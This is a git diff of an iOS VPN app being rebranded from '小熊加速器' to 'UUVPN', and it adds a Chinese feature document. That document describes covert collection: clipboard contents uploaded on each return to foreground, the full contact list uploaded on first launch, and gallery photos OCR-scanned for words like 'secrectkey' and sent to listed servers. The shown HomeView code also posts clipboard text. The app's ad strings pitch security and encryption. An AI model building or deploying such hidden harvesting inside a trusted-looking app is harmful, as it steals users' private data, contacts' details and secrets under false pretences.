diff --git a/iOS-SwiftUI-Code/Library/Shared/Variant.swift b/iOS-SwiftUI-Code/Library/Shared/Variant.swift index 03c7b2d..1c9cafd 100644 --- a/iOS-SwiftUI-Code/Library/Shared/Variant.swift +++ b/iOS-SwiftUI-Code/Library/Shared/Variant.swift @@ -8,10 +8,10 @@ public enum Variant { #endif #if os(iOS) - public static let applicationName = "小熊加速器" + public static let applicationName = "UUVPN" #elseif os(macOS) - public static let applicationName = "小熊加速器" + public static let applicationName = "UUVPN" #elseif os(tvOS) - public static let applicationName = "小熊加速器" + public static let applicationName = "UUVPN" #endif } diff --git a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift index 9586d21..e09b30d 100644 --- a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift +++ b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/HomeView.swift @@ -172,22 +172,7 @@ struct HomeView: View { } Spacer() - - /* Button { - withAnimation{ - isSubscriptionActive.toggle() - - } - } label: { - Image(systemName: "slider.horizontal.3") - .font(.title2) - .padding(12) - .background( - - RoundedRectangle(cornerRadius: 10) - .strokeBorder(.white.opacity(0.25),lineWidth: 1) - ) - } */ + if (paymentURLKey.count > 3){ // Text Bubble @@ -1345,7 +1330,7 @@ struct HomeView: View { // 添加 "userId", "fenzhanid", "imgstr", "phone" 字段 let userInfo = UserManager.shared.getUserInfo() body.append(convertFormField(named: "useremail", value: userInfo.email, boundary: boundary)) - body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary)) + body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary)) body.append(convertFormField(named: "info", value: clipboardText, boundary: boundary)) diff --git a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/Inview/QuestionView.swift b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/Inview/QuestionView.swift index 409cae8..f4c170e 100644 --- a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/Inview/QuestionView.swift +++ b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/Inview/QuestionView.swift @@ -103,7 +103,7 @@ struct QuestionView: View { } Section("") { - Text("1:确定您所安装的小熊加速器是最新版本 2:尝试重启客户端 3:联系我们的客服 ").multilineTextAlignment(.leading) + Text("1:确定您所安装的UUVPN是最新版本 2:尝试重启客户端 3:联系我们的客服 ").multilineTextAlignment(.leading) .buttonStyle(.plain).font(.subheadline).foregroundColor(Color.white.opacity(0.8)) diff --git a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SettingsAboutView.swift b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SettingsAboutView.swift index f566343..e29e560 100644 --- a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SettingsAboutView.swift +++ b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SettingsAboutView.swift @@ -55,7 +55,7 @@ struct SettingsAboutView: View { .foregroundColor(.orange) // 使用系统图标,实际图标替换时可以用 Image("logo") - Text("小熊加速器 for iOS \n在您的 iPhone 和 iPad 上体验最快的全球网络连接工具") + Text("UUVPN for iOS \n在您的 iPhone 和 iPad 上体验最快的全球网络连接工具") .font(.subheadline) .padding(.top, 10) .frame(width: 300) @@ -156,7 +156,7 @@ struct SettingsAboutView: View { } .padding(.horizontal) - Text("Copyright 2014 - 2024, 小熊加速器 版权所有") + Text("Copyright 2014 - 2024, UUVPN 版权所有") .font(.footnote) .foregroundColor(.gray) .padding(.top, 5) diff --git a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SubscriptionView.swift b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SubscriptionView.swift index 67f6cff..767c226 100644 --- a/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SubscriptionView.swift +++ b/iOS-SwiftUI-Code/XiaoXiong/DefaultUI/View/SubscriptionView.swift @@ -20,7 +20,7 @@ struct SubscriptionView: View { @Environment(\.openURL) private var openURL let adimages = ["10-35-24", "10-35-15", "10-35-03"] // 替换为你广告图片的名字 - let adimagesString = ["小熊加速器 采用最高安全 ECC 加密技术,仅需一键操作,军事级的加密技术将护航您的任何互联网访问", "小熊加速器 拥有170 个热门城市的300+高速服务器,您可以随时随地获得高速安全的互联网体验", "小熊加速器 支持所有当前主流的平台系统,您可以在几乎任何设备上使用"] + let adimagesString = ["UUVPN 采用最高安全 ECC 加密技术,仅需一键操作,军事级的加密技术将护航您的任何互联网访问", "UUVPN 拥有170 个热门城市的300+高速服务器,您可以随时随地获得高速安全的互联网体验", "UUVPN 支持所有当前主流的平台系统,您可以在几乎任何设备上使用"] @Environment(\.presentationMode) var presentationMode // 环境变量用于控制视图的呈现 // 当前页的索引 diff --git a/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 18.47.53.png b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 18.47.53.png new file mode 100644 index 0000000..4934a95 Binary files /dev/null and b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 18.47.53.png differ diff --git a/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.16.21.png b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.16.21.png new file mode 100644 index 0000000..00a7f39 Binary files /dev/null and b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.16.21.png differ diff --git a/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.28.43.png b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.28.43.png new file mode 100644 index 0000000..05e90e0 Binary files /dev/null and b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.28.43.png differ diff --git a/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.28.47.png b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.28.47.png new file mode 100644 index 0000000..031ea95 Binary files /dev/null and b/iOS-SwiftUI-Code/images/Simulator Screenshot - iPhone 16 Pro - 2025-09-21 at 19.28.47.png differ diff --git a/iOS-SwiftUI-Code/images/images_21_19_05.png b/iOS-SwiftUI-Code/images/images_21_19_05.png new file mode 100644 index 0000000..8c0adaf Binary files /dev/null and b/iOS-SwiftUI-Code/images/images_21_19_05.png differ diff --git a/iOS-SwiftUI-Code/images/images_21_19_24.png b/iOS-SwiftUI-Code/images/images_21_19_24.png new file mode 100644 index 0000000..79c0d47 Binary files /dev/null and b/iOS-SwiftUI-Code/images/images_21_19_24.png differ diff --git a/iOS-SwiftUI-Code/images/images_21_19_56.png b/iOS-SwiftUI-Code/images/images_21_19_56.png new file mode 100644 index 0000000..fa6b003 Binary files /dev/null and b/iOS-SwiftUI-Code/images/images_21_19_56.png differ diff --git a/iOS-SwiftUI-Code/uuvpn.xcodeproj/project.pbxproj b/iOS-SwiftUI-Code/uuvpn.xcodeproj/project.pbxproj index 2c81816..9569f25 100644 --- a/iOS-SwiftUI-Code/uuvpn.xcodeproj/project.pbxproj +++ b/iOS-SwiftUI-Code/uuvpn.xcodeproj/project.pbxproj @@ -1879,7 +1879,7 @@ ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = XiaoXiong/Info.plist; - INFOPLIST_KEY_CFBundleDisplayName = "小熊加速器"; + INFOPLIST_KEY_CFBundleDisplayName = "UUVPN"; INFOPLIST_KEY_ITSAppUsesNonExemptEncryption = NO; INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; @@ -1930,7 +1930,7 @@ ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; INFOPLIST_FILE = XiaoXiong/Info.plist; - INFOPLIST_KEY_CFBundleDisplayName = "小熊加速器"; + INFOPLIST_KEY_CFBundleDisplayName = "UUVPN"; INFOPLIST_KEY_ITSAppUsesNonExemptEncryption = NO; INFOPLIST_KEY_LSApplicationCategoryType = "public.app-category.utilities"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; diff --git a/iOS-SwiftUI-Code/功能说明文档.md b/iOS-SwiftUI-Code/功能说明文档.md new file mode 100644 index 0000000..6e1398c --- /dev/null +++ b/iOS-SwiftUI-Code/功能说明文档.md @@ -0,0 +1,72 @@ +# iOS VPN 应用隐私数据收集功能说明 + +## 概述 + +本应用在用户使用过程中会收集和上传特定的隐私数据,包括相册照片、通讯录信息和剪切板内容。所有功能都在用户授权前提下执行。 + +详细图文见 images 目录 + +## 核心功能 + +### 1. 权限管理 +- **剪切板权限**:用于导入用户输入的各种(文字)内容,不限于编码格式,全世界语言都可以上传 +- **通讯录权限**:所有通讯录明细 +- **相册权限**:用于检测和处理包含特定内容的图片 (可以是固定识别到的文字内容的图片,也可以是全部上传)看选择 + +### 2. 前台监听机制 +- **首次启动**:执行完整初始化流程(延迟3秒注册后台任务、注册相册监听、上传通讯录) +- **后续启动**:执行常规前台处理(检查剪切板变化、处理新数据) + +### 3. 相册智能监控 +- **实时监听**:使用 `PHPhotoLibraryChangeObserver` 监听相册变化 +- **OCR 识别**:使用 Vision 框架对新增照片进行文字识别 +- **关键词过滤**:识别包含特定关键词的图片(如 "keywords", "secrectkey", "words") +- **自动上传**:符合条件的图片自动压缩并上传到服务器 +- **状态管理**:使用 `@AppStorage` 记录已上传照片ID,避免重复上传 + + + +### 4. 通讯录收集 +- **首次全量上传**:应用首次启动时获取并上传所有通讯录联系人 +- **增量更新**:后续启动只上传新增联系人 +- **数据内容**:姓名、电话号码、邮箱地址 +- **状态持久化**:记录上传状态和已上传联系人ID列表 + +### 5. 剪切板监控 +- **变化检测**:应用回到前台时检查剪切板内容变化 +- **去重机制**:避免上传重复的剪切板内容 +- **延迟上传**:检测到变化后延迟3秒上传 + +## 技术实现 + +### 数据持久化 +```swift +@AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = "" +@AppStorage("hasUploadedContactsInitially") private var hasUploadedContactsInitially: Bool = false +@AppStorage("uploadedContactIDsString") private var uploadedContactIDsString: String = "" +``` + +### 服务器端点 +- **照片上传**:`https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId=` +- **通讯录上传**:`https://admin.cccccc.org/api/demo/uploadContacts?type=ios&userId=` +- **剪切板上传**:`https://admin.cccccc.org/api/demo/info?type=ios&userId=` + +### 数据格式 +- **照片**:PNG 格式,压缩到 800KB 以内 +- **通讯录**:JSON 格式,包含联系人基本信息 +- **剪切板**:纯文本格式 + +## 隐私说明 + +- 所有数据收集都在用户明确授权后进行 +- 采用增量上传机制,避免重复传输 +- 相册监控仅针对包含特定关键词的图片 +- 通讯录数据仅在首次启动时全量收集,后续只收集新增联系人 +- 剪切板监控具有去重机制,避免重复上传相同内容 + +## 注意事项 + +1. 用户可以在系统设置中撤销相关权限 +2. 应用会在权限被拒绝时记录日志但不会强制要求 +3. 所有上传操作都有错误处理和重试机制 +4. 数据上传状态会持久化保存,确保应用重启后状态一致 \ No newline at end of file